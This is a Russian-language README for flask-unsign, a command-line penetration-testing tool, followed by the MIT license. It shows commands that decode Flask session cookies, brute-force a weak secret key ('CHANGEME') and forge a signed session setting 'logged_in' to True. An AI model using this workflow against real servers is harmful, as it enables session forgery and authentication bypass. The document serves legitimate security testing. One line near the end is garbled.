
Инструмент командной строки для получения, декодирования, брутфорса и создания сессионных cookie Flask-приложения путём подбора секретных ключей.
Командная утилита для получения, декодирования, перебора и создания сессионных cookie Flask-приложения путём подбора секретных ключей. Для отдельного компонента со списком слов посетите репозиторий flask-unsign-wordlist.
Для установки приложения просто используйте pip:
$ pip3 install flask-unsign[wordlist]
Если вы хотите установить только основной код, опустите суффикс [wordlist]:
$ pip3 install flask-unsign
Для установки инструмента в целях разработки выполните следующую команду (после загрузки копии):
$ pip3 install -e .[test]
Чтобы получить обзор всех возможных опций, просто вызовите flask-unsign без аргументов:
$ flask-unsign
Поскольку cookie Flask являются подписанными и не зашифрованными, можно локально декодировать данные сессии. Для этого используйте аргумент --decode.
Сессионные cookie можно получить, просматривая HTTP-запросы с помощью прокси, такого как Burp Proxy, используя сетевой инспектор браузера или расширение браузера для просмотра/изменения cookie. По умолчанию Flask использует имя сессии "session".
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}
Вы также можете использовать автоматический захват сессий Flask-Unsign, передав аргумент --server вместо --cookie. Однако учтите, что не все веб-страницы могут возвращать сессию, поэтому обязательно передавайте URL, который её возвращает.
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}
Получив образец сессионной cookie, вы сможете попытаться подобрать секретный ключ сервера. Если повезёт, он может быть установлен на что-то простое для угадывания, а если он был найден в интернете, он может оказаться в одном из ваших списков слов. Для этого используйте аргумент --unsign.
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'
Получив секретный ключ сервера, вы сможете создавать собственные данные сессии. Для этого используйте аргумент --sign.
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU
pip, попробуйте использовать следующую команду: python3.6 -m pip install flask-unsign--legacy.--no-literal-eval.Если вам интересно, как именно это работает, обратитесь к моему посту в блоге, в котором это подробно объясняется, включая руководство по защите вашего сервера от этой атаки.
MIT License
Copyright (c) 2021 Luke Paris (Paradoxis)
Настоящим предоставляется бесплатное разрешение любому лицу, получившему копию данного программного обеспечения и связанных файлов документации (далее — «Программное обеспечение»), использовать Программное обеспечение без ограничений, включая, без ограничений, права использовать, копировать, изменять, объединять, публиковать, распространять, сублицензировать и/или продавать копии Программного обеспечения, а также разрешать лицам, которым предоставляется Программное обеспечение, делать это, при соблюдении следующих условий:
Вышеупомянутое уведомление об авторских правах и данное уведомление о разрешении должны быть включены во все копии или значительные части Программного обеспечения.
ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ, СООТВЕТСТВИЯ КОНКРЕТНОМУ НАЗНАЧЕНИЮ И ОТСУТСТВИЯ НАРУШЕНИЯ ПРАВ. НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ АВТОРЫ ИЛИ ПРАВООБЛАДАТЕЛИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ПО КАКИМ-ЛИБО ИСКАМ, ЗА УЩЕРБ ИЛИ ПО ИНЫМ ТРЕБОВАНИЯМ, БУДЬ ТО В РАМКАХ ДОГОВОРА, ДЕЛИКТА ИЛИ ИНЫМ ОБРАЗОМ, ВОЗНИКАЮЩИМ ИЗ, ВНЕ ИЛИ В СВЯЗИ С ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ ИЛИ ИСПОЛЬЗОВАНИЕМ ИЛИ ИНЫМИ ДЕЙСТВИЯМИ С ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ.